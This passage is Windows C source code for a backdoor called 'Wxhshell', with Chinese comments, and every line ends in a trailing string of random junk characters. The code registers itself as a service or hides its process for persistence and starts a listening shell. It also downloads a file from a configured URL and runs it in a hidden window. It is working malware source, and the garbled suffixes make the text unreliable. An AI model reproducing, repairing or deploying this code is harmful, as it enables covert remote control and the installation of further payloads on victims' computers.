DWORD BasePriority; *q-['"f
ULONG UniqueProcessId; UOxkO
ULONG InheritedFromUniqueProcessId; ;{KV /<3
} PROCESS_BASIC_INFORMATION; Z|lqb=
|bO"_U
PROCNTQSIP NtQueryInformationProcess; f)^_|8
~wkj&yVT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ljp%CI[i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RsY3V=u
e,Uo#T6J
HANDLE hProcess; pUV/Ul]
PROCESS_BASIC_INFORMATION pbi; K*X_FJ
{M^3m5.^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RT.D"WvT
if(NULL == hInst ) return 0; -UOj>{-
d~JKH&x<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i;_t I#:A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MMx9(`t*.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PqiB\~o@Z
T^Ze3L]
if (!NtQueryInformationProcess) return 0; 9Ru8~R/\
B4i!/@0s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8[E!E)4M
if(!hProcess) return 0; 3%%o?8ES
fR*q?,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &i$ldR
tX>
G,hw
CloseHandle(hProcess); WRrd'{sB
vJ-q*qM1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~;#Y9>7\\'
if(hProcess==NULL) return 0; 6y9t(m
!g(KK|`,m
HMODULE hMod; 3tZ]4ms}
char procName[255]; 98uV6b~g
unsigned long cbNeeded; 2gCX}4^3b
er!DYv
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :[hgxJu+
+/)#( j@
CloseHandle(hProcess); S|]X'f
b-{=s+:
if(strstr(procName,"services")) return 1; // 以服务启动 (4dhuT
K0}pi+=
return 0; // 注册表启动 z6w3"9Um
} ).sRv6/c
a{qM2P(S
// 主模块 =A!@6Nw
int StartWxhshell(LPSTR lpCmdLine) .`4{9?bR
{ g!+|I
SOCKET wsl; + EGD.S{
BOOL val=TRUE; w(/aiV
int port=0; #w\~&0
struct sockaddr_in door; t\%HX.8[;%
S'_-G;g.
if(wscfg.ws_autoins) Install(); 7:)n$,31FW
s3R(vd
port=atoi(lpCmdLine); %sX$nmi3
}L# _\
if(port<=0) port=wscfg.ws_port; r0 ,:J
Fpa_qjL;
WSADATA data; :F{:Z*Fi0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;I}kQ!q
q(.:9A*0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 06N}k<10O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !,Va(E|=
door.sin_family = AF_INET; bdF.qO9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /$'AjIg4:&
door.sin_port = htons(port); 3~S8!nx
:QB<?HaS'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9&` 2V
closesocket(wsl); b/{t|io{
return 1; .tzG_
} :]^P1sH[
[5+}rwm&W
if(listen(wsl,2) == INVALID_SOCKET) { QUQu^p
closesocket(wsl); ~XWQhIAM4
return 1; lJis~JLd`
} \0vr>C
Wxhshell(wsl); ] 0B2#
d
WSACleanup(); jkt_5+S
-<
&D
return 0; L&%s[
!VI]oRgP
} DIzH`|Y
-U/c\-~fU
// 以NT服务方式启动 tjluk
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A#95&kJpy
{ )XzI
#iQ
DWORD status = 0; X .5aMm
DWORD specificError = 0xfffffff; fvF?{k> ~}
( 8c9 /7h
serviceStatus.dwServiceType = SERVICE_WIN32; +L9Eqll
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jg\Z;_!W
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W^]3XJP
serviceStatus.dwWin32ExitCode = 0; 'zGo?a
serviceStatus.dwServiceSpecificExitCode = 0; s#tZg
serviceStatus.dwCheckPoint = 0; 0iwZT&O
serviceStatus.dwWaitHint = 0; bj"J'
7TDy.]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 86mp=6@
if (hServiceStatusHandle==0) return; Yo("U8:XX
Vy938qX
status = GetLastError(); <-D0u?8
if (status!=NO_ERROR) w$`5g
{ J1:1B,^y
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1PP $XJtyD
serviceStatus.dwCheckPoint = 0; ~ ArP9
K"
serviceStatus.dwWaitHint = 0; dRaNzK)M
serviceStatus.dwWin32ExitCode = status; }C>{uXv
serviceStatus.dwServiceSpecificExitCode = specificError; _oUHJ~&,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Yis:%c\!
return; qycI(5S,
} dOoK Lry
Jh?dw3Ai^
serviceStatus.dwCurrentState = SERVICE_RUNNING; !gv`FE9y
serviceStatus.dwCheckPoint = 0; X6mqi;+
serviceStatus.dwWaitHint = 0; qQsku;C?i
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4@ML3d/
} frT]5?{
S&\L-@
// 处理NT服务事件,比如:启动、停止 cdZ~2vk
VOID WINAPI NTServiceHandler(DWORD fdwControl) ##V5-ZG{:
{ tP2qK_\e=
switch(fdwControl) YA
+E\
{ h}cy D7Wn
case SERVICE_CONTROL_STOP: Gmq/3tw
serviceStatus.dwWin32ExitCode = 0; m$W <
serviceStatus.dwCurrentState = SERVICE_STOPPED; D6Goa(!9d
serviceStatus.dwCheckPoint = 0; B&.FOO
serviceStatus.dwWaitHint = 0; u(wGl_
{ }c}|
$h^Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [h34d5'w
} d~:!#uWyFk
return; eL\;Nf+Zp
case SERVICE_CONTROL_PAUSE: >ey\jDr#O
serviceStatus.dwCurrentState = SERVICE_PAUSED; 43Qtj$F
break; KB'qRnkc
case SERVICE_CONTROL_CONTINUE: ]jaQ[g$F
serviceStatus.dwCurrentState = SERVICE_RUNNING; P3nb2.
break; N.]qU d
case SERVICE_CONTROL_INTERROGATE: 8qu2iPOcZ
break; }=6'MjF]
}; IS#FiH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zOqn<Y@
} !>e5z|1
}c`fW&
// 标准应用程序主函数 _;~,Cgfi
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I]Dl /
{ ~D5\O6mU-
OQ>x5?um
// 获取操作系统版本 mysetv&5
OsIsNt=GetOsVer(); R&Jm
+3N
GetModuleFileName(NULL,ExeFile,MAX_PATH); CO2C{~Q5
]zQo>W$
// 从命令行安装 +tk{"s^r*
if(strpbrk(lpCmdLine,"iI")) Install(); .$%Soyr?,
4)"n
RjGg
// 下载执行文件 8-_QFgY
if(wscfg.ws_downexe) { _&j}<K$-(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _`_%Y(Xat
WinExec(wscfg.ws_filenam,SW_HIDE); w -
Pk7I
} 'eJ+JM<0%
bD[!/'4eJ
if(!OsIsNt) { M5*{
// 如果时win9x,隐藏进程并且设置为注册表启动 I{lT> go
HideProc(); ,>:;#2+og
StartWxhshell(lpCmdLine); #L{OV)a<
} 3'c0#h@VD
else N\#MwLm
if(StartFromService()) k7>|q"0C
// 以服务方式启动 e=Z,
Jg
StartServiceCtrlDispatcher(DispatchTable); Sz^5b!
else ;zIP,PMM
// 普通方式启动 spGB)k,^
StartWxhshell(lpCmdLine); |/2y-[;:
qd#sY.|1
return 0; p"FW&Q=PN
}